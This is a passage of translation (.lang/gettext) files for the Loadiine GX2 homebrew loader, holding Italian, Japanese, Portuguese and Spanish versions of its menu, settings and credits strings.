msgid "Design:" msgstr "" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "Qualcuno che non vuole essere nominato" #: src/menu/CreditsMenu.cpp:115 msgid "Testing:" msgstr "" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "Presenza Sociale" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "Basato su" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine v4.0 creato da Golden45 e Dimok" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "Un enorme grazie a" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "lustar per GameTDB e per l'hosting sia delle copertine che delle scansioni dei dischi" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1 per il suo kernel exploit" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "Tutto il team libwiiu ed i suoi contributors." #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "" #: src/menu/GameLauncherMenu.cpp:77 #, fuzzy msgid "Save Mode" msgstr "Modalità Condivisa" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "Modalità di Avvio" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 msgid "" msgstr "" #: src/menu/GameLauncherMenu.cpp:492 msgid "Saving game settings!" msgstr "" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "Carosello di Icone" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "Griglia" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "Carosello di Copertina" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "Personalizza Sfondo" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "Interfaccia Grafica (GUI)" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "Modalità di Visualizzazione Giochi" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "Regola IP del server log e porta" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "Personalizza Percorso Cartella Giochi" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "Personalizza Percorso Salvataggi" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "Imposta Modalità Salvataggio" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "Gioco" #: src/menu/SettingsMenu.cpp:54 msgid "HID settings" msgstr "" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "Seleziona Modalità di Avvio" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "Log Controllo Server" #: src/menu/SettingsMenu.cpp:54 msgid "Padcon settings" msgstr "" #: src/menu/SettingsMenu.cpp:54 msgid "PyGecko settings" msgstr "" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "Crediti" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "Ringraziamenti a tutti i contributors" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "Vista TV" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "Vista DRC (gamepad)" #: src/menu/SettingsMenu.cpp:66 msgid "Show Game Settings" msgstr "" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "Percorso Gioco" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "Percorso Slavataggio" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "Modalità Salvataggio" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "Log Controllo Server" #: src/menu/SettingsMenu.cpp:77 msgid "PyGecko" msgstr "" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "" #: src/menu/SettingsMenu.cpp:80 msgid "HID-Pad Rumble" msgstr "" #: src/menu/SettingsMenu.cpp:81 msgid "HID-Pad Network" msgstr "" #~ msgid "Art Atelier Mode" #~ msgstr "Modalità Art Atelier" #~ msgid "Shared Mode" #~ msgstr "Modalità Condivisa" #~ msgid "Unique Mode" #~ msgstr "Modalità Unica" #~ msgid "Mii Maker Mode" #~ msgstr "Modalità Mii Maker" #~ msgid "Smash Bros Mode" #~ msgstr "Modalità Smash Bros" #~ msgid "Karaoke Mode" #~ msgstr "Modalità Karaoke" #~ msgid "Log Server IP" #~ msgstr "Log IP Server" ================================================ FILE: languages/japanese.lang ================================================ # Loadiine GX2 language source file. # japanese.lang - v0.1 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: Glitch\n" "Language-Team: Glitch\n" "Language: Japanese\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "公式サイト" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "コード:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "設計:" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "名前言われたくないやつ." #: src/menu/CreditsMenu.cpp:115 msgid "Testing:" msgstr "テストした人:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight などなど" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "社会的存在感:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "源:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Golden45とDimokのLoadiine v4.0" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "本当にありがとう:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "カバーとディスク画像ホスティング&GameTDBのlustarさん" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "カーネルエクスプロイト作ったのMarionumber1さん" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "libwiiuチームのみんなと協力者がやりましたのみんな." #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "別セーブ:" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "DLC使用可能:" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "更新フォルダ" #: src/menu/GameLauncherMenu.cpp:77 msgid "Save Mode" msgstr "セーブモード" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "起動モード" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "<デフォルト設定>" #: src/menu/GameLauncherMenu.cpp:492 msgid "Saving game settings!" msgstr "ゲームの設定を保存する!" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "オフ" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "オン" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "アイコンカルーセル" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "グリッドビュー" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "カバーカルーセル" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "背景のカスタマイズ" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "ゲーム表示の設定" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "ログサーバーのIPとポートを設定" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "ゲームパス変更" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "セーブパス変更" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "ローダー" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "セーブモードの設定" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "ゲーム" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "HID設定" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "起動方法を選んで" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "ログサーバー管理" #: src/menu/SettingsMenu.cpp:54 msgid "Padcon settings" msgstr "Padconの設定" #: src/menu/SettingsMenu.cpp:54 msgid "PyGecko settings" msgstr "PyGeckoの設定" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "関与した人々" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "協力者を称賛する" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "テレビに映る" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "DRCに映る" #: src/menu/SettingsMenu.cpp:66 msgid "Show Game Settings" msgstr "ゲームの設定を表示する" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "ホストIP" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "ゲームパス" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "セーブパス" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "セーブモード" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "ログサーバー管理" #: src/menu/SettingsMenu.cpp:77 #, fuzzy msgid "PyGecko" msgstr "PyGeckoの設定" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "" #: src/menu/SettingsMenu.cpp:80 msgid "HID-Pad Rumble" msgstr "" #: src/menu/SettingsMenu.cpp:81 msgid "HID-Pad Network" msgstr "" #~ msgid "Art Atelier Mode" #~ msgstr "絵心教室アトリエモード" #~ msgid "Shared Mode" #~ msgstr "共有モード" #~ msgid "Unique Mode" #~ msgstr "特有モード" #~ msgid "Mii Maker Mode" #~ msgstr "Miiスタジオモード" #~ msgid "Smash Bros Mode" #~ msgstr "スマブラモード" #~ msgid "Karaoke Mode" #~ msgstr "カラオケモード" ================================================ FILE: languages/pt_BR.lang ================================================ # Loadiine GX2 language source file. # pt_BR.lang - v0.2 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: AndréFranco\n" "Language-Team: AndréFranco\n" "Language: Português(Brasil)\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "Site Oficial:" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "Programação:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "Design:" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "Um cara que não quis ser identificado" #: src/menu/CreditsMenu.cpp:115 #, fuzzy msgid "Testing:" msgstr "Testadores:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight e muitos mais" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "Representante nas redes:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "Baseado em:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine V4.0 por Golden45 e Dimok" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "Agradecimentos a:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "Lustar da GameTDB por hostear capas / imagens de disco" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1 por seu kernel exploit" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "A todo o time da libwiiu e seus contribuidores." #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "" #: src/menu/GameLauncherMenu.cpp:77 #, fuzzy msgid "Save Mode" msgstr "Modo Compartilhado" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "Modo de carregamento" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "Testadores:" #: src/menu/GameLauncherMenu.cpp:492 #, fuzzy msgid "Saving game settings!" msgstr "Testadores:" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "Desligado" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "Ligado" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "Carrossel de ícones" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "Exibição em grade " #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "Carrossel de capas" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "Personalizar fundo" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "Aparência da Lista de jogos" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "Configurar IP:Porta do servidor de log" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "Personalizar pasta dos jogos" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "Personalizar pasta dos saves" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "Carregador" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "Estabelecer modo de save" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "Jogo" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "Testadores:" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "Selecionar modo de carregamento" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "Iniciar servidor de Log" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "Padcon settings" msgstr "Testadores:" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "PyGecko settings" msgstr "Testadores:" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "Créditos" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "Créditos aos colaboradores" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "Visualização do jogo - TV" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "Visualização do jogo - DRC" #: src/menu/SettingsMenu.cpp:66 #, fuzzy msgid "Show Game Settings" msgstr "Testadores:" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "Caminho do jogo" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "Caminho do save" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "Modo de save" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "Controle do servidor de log" #: src/menu/SettingsMenu.cpp:77 #, fuzzy msgid "PyGecko" msgstr "Testadores:" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "" #: src/menu/SettingsMenu.cpp:80 msgid "HID-Pad Rumble" msgstr "" #: src/menu/SettingsMenu.cpp:81 msgid "HID-Pad Network" msgstr "" #~ msgid "Art Atelier Mode" #~ msgstr "Modo Art Atelier" #~ msgid "Shared Mode" #~ msgstr "Modo Compartilhado" #~ msgid "Unique Mode" #~ msgstr "Modo Único" #~ msgid "Mii Maker Mode" #~ msgstr "Modo Criador Mii" #~ msgid "Smash Bros Mode" #~ msgstr "Modo Smash Bros" #~ msgid "Karaoke Mode" #~ msgstr "Modo Karaokê" #~ msgid "Log Server IP" #~ msgstr "IP do servidor de log" ================================================ FILE: languages/pt_PT.lang ================================================ # Loadiine GX2 language source file. # pt_PT.lang - v0.1 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: PTKickass\n" "Language-Team: PTKickass\n" "Language: Portuguese(Portugal)\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "Loadiine GX2" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "Site oficial:" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "Programação:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "Design:" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "Um gajo qualquer que não quer ser mencionado." #: src/menu/CreditsMenu.cpp:115 msgid "Testing:" msgstr "Testadores:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight e muitos mais" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "Representante social:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "Baseado em:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine v4.0 por Golden45 e Dimok" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "Um grande obrigado a:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "lustar da GameTDB por hospedar imagens de capas / discos" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1 pelo seu kernel exploit" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "Toda a equipa libwiiu e aos seus contribuidores." #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "Jogo guardado extra:" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "Ativar suporte a DLC:" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "Pasta update" #: src/menu/GameLauncherMenu.cpp:77 msgid "Save Mode" msgstr "Modo de guardamento" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "Modo de carregamento" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "" #: src/menu/GameLauncherMenu.cpp:492 msgid "Saving game settings!" msgstr "A guardar opções do jogo!" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "Desligado" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "Ligado" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "Carrocel de Ícones" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "Vista em Grade" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "Carrocel de Capas" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "Customizações de fundo" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "Interface" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "Tipo de vista de jogos" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "Ajustar a porta e IP do servidor de log" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "Mudar localização de jogos" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "Mudar localização de jogos guardados" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "Carregador" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "Definir modo de guardamento" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "Jogo" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "Definições de HID" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "Modo de carregamento" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "Controlo do servidor de log" #: src/menu/SettingsMenu.cpp:54 msgid "Padcon settings" msgstr "Definições do Padcon" #: src/menu/SettingsMenu.cpp:54 msgid "PyGecko settings" msgstr "Definições do PyGecko" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "Créditos" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "Créditos a todos os contribuidores" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "Vista de jogos - TV" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "Vista de jogos - DRC" #: src/menu/SettingsMenu.cpp:66 msgid "Show Game Settings" msgstr "Mostrar definições de jogos" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "IP do hospedeiro" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "Localização de jogos" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "Localização de jogos guardados" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "Modo de guardamento" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "Controlo do servidor de log" #: src/menu/SettingsMenu.cpp:77 msgid "PyGecko" msgstr "PyGecko" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "Padcon" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "HID-Pad" #: src/menu/SettingsMenu.cpp:80 #, fuzzy msgid "HID-Pad Rumble" msgstr "HID-Pad" #: src/menu/SettingsMenu.cpp:81 #, fuzzy msgid "HID-Pad Network" msgstr "HID-Pad" #~ msgid "Art Atelier Mode" #~ msgstr "Modo Art Atelier" #~ msgid "Shared Mode" #~ msgstr "Modo partilhado" #~ msgid "Unique Mode" #~ msgstr "Modo único" #~ msgid "Mii Maker Mode" #~ msgstr "Modo Criador Mii" #~ msgid "Smash Bros Mode" #~ msgstr "Modo Smash Bros." #~ msgid "Karaoke Mode" #~ msgstr "Modo Karaoke" ================================================ FILE: languages/spanish.lang ================================================ # Loadiine GX2 language source file. # spanish.lang - v0.3 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2016-04-02 07:28+0200\n" "Last-Translator: MasQchips\n" "Language-Team: MasQchips\n" "Language: Español\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "Sitio Oficial:" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "Codificación:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "Diseño:" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "Alguien que no quiso ser identificado." #: src/menu/CreditsMenu.cpp:115 msgid "Testing:" msgstr "Pruebas:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight y muchos mas" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "Presencia Social:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "Basado en:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine v4.0 de Golden45 y Dimok" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "Muchas Gracias a:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "lustar de GameTDB y alojamiento de caratulas" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1 por su kernel exploit" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "Todo el equipo de libwiiu y sus colaboradores." #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "Activar Soporte DLC" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "Actualizar Carpeta" #: src/menu/GameLauncherMenu.cpp:77 msgid "Save Mode" msgstr "Modo de Guardado" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "Modo de Carga" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "" #: src/menu/GameLauncherMenu.cpp:492 msgid "Saving game settings!" msgstr "Guardando ajustes del juego!" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "Apagado" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "Encendido" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "Carrusel de Iconos" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "Vista de Rejilla" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "Carrusel de Caratulas" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "Personalización del fondo" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "Vista de selección del juego" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "Ajustar IP y puerto del servidor" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "Personalizar ruta del juego" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "Personalizar ruta de guardado" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "Cargador" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "Establecer modo de guardado" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "Juego" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "Configuracion HID" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "Seleccionar metodo de carga" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "Iniciar servidor" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "Padcon settings" msgstr "Configuracion HID" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "PyGecko settings" msgstr "Configuracion HID" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "Creditos" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "Créditos de los colaboladores" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "Vista del Juego TV" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "Vista del Juego DRC" #: src/menu/SettingsMenu.cpp:66 msgid "Show Game Settings" msgstr "Mostrar Configuracion del Juego" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "Ruta del Juego" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "Ruta de guardado" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "Modo de Guardado" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "Control de Registros" #: src/menu/SettingsMenu.cpp:77 #, fuzzy msgid "PyGecko" msgstr "Configuracion HID" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "" #: src/menu/SettingsMenu.cpp:80 msgid "HID-Pad Rumble" msgstr "" #: 